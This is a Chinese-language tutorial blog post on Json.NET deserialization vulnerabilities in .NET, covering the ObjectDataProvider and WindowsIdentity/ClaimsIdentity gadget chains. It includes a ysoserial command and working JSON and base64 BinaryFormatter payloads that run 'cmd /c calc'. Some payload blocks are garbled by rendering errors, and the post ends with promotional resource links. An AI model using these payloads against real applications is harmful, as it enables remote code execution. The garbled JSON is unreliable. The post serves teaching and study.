.net反序列化萌新入门--Json.Net

**01 **Json.net简介

Json.net即Newtonsoft.Json,是.Net中开源的Json序列化和反序列化工具,官方地址:http://www.newtonsoft.com/json。

它虽然不是官方库,但凭借其优秀的性能获得了广大开发者的喜爱。

官网给出的性能比较:

1653021410_62871ae2b21ddd01ed755.png!small?1653021417225

**02 **Json.net的序列化和反序列化

首先定义一个person类,并添加一个execcmd的方法,它调用了Process.Start来执行cmd。


[Serializable]
public class Person
{
private static int TAG = 20;
private int _gender;

public string Name { set; get; }  
public int Age { set; get; }  
public void execcmd(string cmd)  
{  
Process.Start(cmd);  
}  
}

初始化并将其序列化输出:


var p = new Person()
{
Name = “m01n”,
Age = 26
};
Console.WriteLine(JsonConvert.SerializeObject§);

输出结果如下:

1653022208_62871e0096fa0892803a0.png!small?1653022215061

但这并不是我们想要的,添加以下代码:


Console.WriteLine(JsonConvert.SerializeObject(p, new JsonSerializerSettings { TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Full, TypeNameHandling = TypeNameHandling.All }));

输出:

1653022222_62871e0e3e2a759bf0ada.png!small?1653022228690

增加了type字段,第二个参数是设置序列化的配置,其中TypeNameHandling是我们需要重点关注的,官网给出了以下五种设置,默认设置为None,除了None之外,都会包含type字段。这也是漏洞产生的关键。

1653022239_62871e1f1c49f662732ef.png!small?1653022245607

**03 **ObjectDataProvider攻击向量

在前面的《.NET反序列化利用链萌新入门——XmlSerializer》中有介绍过ObjectDataProvider,总结一下就是在实现
ObjectDataProvider对象时,不管是添加ObjectInstance,MethodName还是MethodParameters都会自动尝试执行目标函数。

Json.net直接序列化ObjectDataProvider实现的System.Diagnostics.Process会报错,但我们可以看一下ObjectDataProvider对象的Json序列化输出格式。

1653022271_62871e3f2fa9686195569.png!small?1653022277694

结果输出格式化之后如下:


{
KaTeX parse error: Expected '}', got 'EOF' at end of input: …nce": { "type”: “ConsoleApp1.Program+Person, jsontest, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null”,
“Name”: “m01n”,
“Age”: 26
},
“MethodName”: “execcmd”,
“MethodParameters”: {
t y p e " : " M S . I n t e r n a l . D a t a . P a r a m e t e r C o l l e c t i o n , P r e s e n t a t i o n F r a m e w o r k , V e r s i o n = 4.0.0.0 , C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = 31 b f 3856 a d 364 e 35 " , " type": "MS.Internal.Data.ParameterCollection, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35", " type":"MS.Internal.Data.ParameterCollection,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35","values”: [“calc”]
},
“IsAsynchronous”: false,
“IsInitialLoadEnabled”: true,
“Data”: null,
“Error”: null
}

对比一下 .\ysoserial.exe -g ObjectDataProvider -f json.net -c calc 生成的payload结果:


{
KaTeX parse error: Expected '}', got 'EOF' at end of input: …ters':{ 'type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’,
KaTeX parse error: Expected 'EOF', got '}' at position 34: …c calc'] }̲, 'Object…type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’}
}

首先是去除了一些不必要的字段,然后修改了MethodName为Start,同时将ObjectInstance和MethodParameters的 t y p e 分别设置为 P r o c e s s 和 A r r a y L i s t 相对应的程序集限定名,当然经测试, M e t h o d P a r a m e t e r s 的 type分别设置为Process和ArrayList相对应的程序集限定名,当然经测试,MethodParameters的 type分别设置为ProcessArrayList相对应的程序集限定名,当然经测试,MethodParameterstype不用改也可以成功。

关于程序集限定名,可以通过object.GetType().AssemblyQualifiedName或者typeof().AssemblyQualifiedName获取。最终成功执行命令。

1653022288_62871e50af6ab6cf83588.png!small?1653022295526

**04 **攻击向量—WindowsIdentity和WindowsClaimsIdentity

WindowsIdentity

WindowsIdentity是一个表示Windows用户的类,可以获取认证用户的信息。

关于WindowsIdentity的详细介绍可以看官网:https://docs.microsoft.com/zh-
cn/dotnet/api/system.security.principal.windowsidentity?redirectedfrom=MSDN&view=net-6.0

WindowsIdentity继承自System.Security.Claims.ClaimsIdentity,并且实现了 ISerializable
接口。

1653022309_62871e65502958c54a689.png!small?1653022316014

跟进去发现ISerializable接口需要实现GetObjectData方法,GetObjectData方法的第一个参数为SerializationInfo类对象。

1653022319_62871e6f17a2e9d54dc8f.png!small?1653022325530

通过调用SerializationInfo类的AddValue方法可以在序列化对象时存储备用值,AddValue具有多个重载方法来指定序列化的信息。

1653022351_62871e8fc1851a6f509dc.png!small?1653022358540

ClaimsIdentity

ClaimsIdentity(声称标识)位于 System.Security.Claims 命名空间下。

Claim表示一个声明单元,它用来组成ClaimsIdentity。ClaimsIdentity表示一个证件,例如身份证,身份证上面的名字表示一个Claim,身份证号也表示一个Claim,所有这些Claim组成身份证,即ClaimsIdentity。一个人不止有一个能够表示身份的东西,还有驾驶证、户口本等等,这些都是一个一个的CLaimsIdentity。

1653022386_62871eb27ec4fbde5b2fb.png!small?1653022393026

ClaimsIdentity 类初始化方法有两个重载,并且通过前文介绍的 SerializationInfo 来传入数据,最后用 Deserialize
反序列化数据。

1653022402_62871ec2f022712596b80.png!small?1653022409410

跟进Deserialize(),可以看到key设置为System.Security.ClaimsIdentity.actor或者System.Security.ClaimsIdentity.bootstrapContext,base64解码后会执行后面的binaryFormatter.Deserialize(),此方法已被证明是不安全的。

1653022420_62871ed4eb42ca3a24f82.png!small?1653022427696

微软关于binaryFormatter.Deserialize的说明:

1653022438_62871ee69a1a29d6dab68.png!small?1653022445167

POC

至此我们可以构造出攻击链,如果使用 GetObjectData 类中的 AddValue
方法添加key:System.Security.ClaimsIdentity.bootstrapContext,value :
base64编码后的binaryFormatter.Deserialize的反序列化payload,最后实现
System.Security.Principal.WindowsIdentity.ISerializable 接口就能攻击成功。

构造如下方法:

1653022456_62871ef8340c0bc75b558.png!small?1653022462667

传入binaryFormatter的反序列化payload并使用Json.net将其序列化。

1653022464_62871f00d523d3c9b38f6.png!small?1653022471653

得到如下结果:


{ “$type”: “ConsoleApp1.Program+WindowsIdentityTest, jsontest, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null”, “System.Security.ClaimsIdentity.actor”: “AAEAAAD/AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm*9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==”}

将$type的值改为WindowsIdentity的完全限定名,即可得到完整payload。也可以直接使用ysoserial生成payload:

1653022477_62871f0dac443b5f81ff3.png!small?1653022484135

ysoserial使用的是System.Security.ClaimsIdentity.actor,测试证明System.Security.ClaimsIdentity.bootstrapContext同样可以触发命令执行,但这两个在触发命令执行后都会引发异常:

1653022488_62871f184ed74f29fc4a0.png!small?1653022495202

WindowsClaimsIdentity和WindowsIdentity是相同的原理,因为WindowsClaimsIdentity继承自WindowsIdentity。

**05 **总结

使用Json.net的项目,JsonSerializer的TypeNameHandling值只要不为None,即可能存在反序列化漏洞。ObjectDataProvider攻击向量在.net反序列化中会经常用到。

网络安全工程师(白帽子)企业级学习路线

第一阶段:安全基础(入门)

img

第二阶段:Web渗透(初级网安工程师)

img

第三阶段:进阶部分(中级网络安全工程师)

img

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资源分享

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NZjPj6sS-1689954065733)(C:\Users\Administrator\Desktop\网络安全资料图\微信截图_20230201105953.png)]

…(img-pAVjKz6j-1689954065731)]

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资源分享

[外链图片转存中…(img-NZjPj6sS-1689954065733)]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值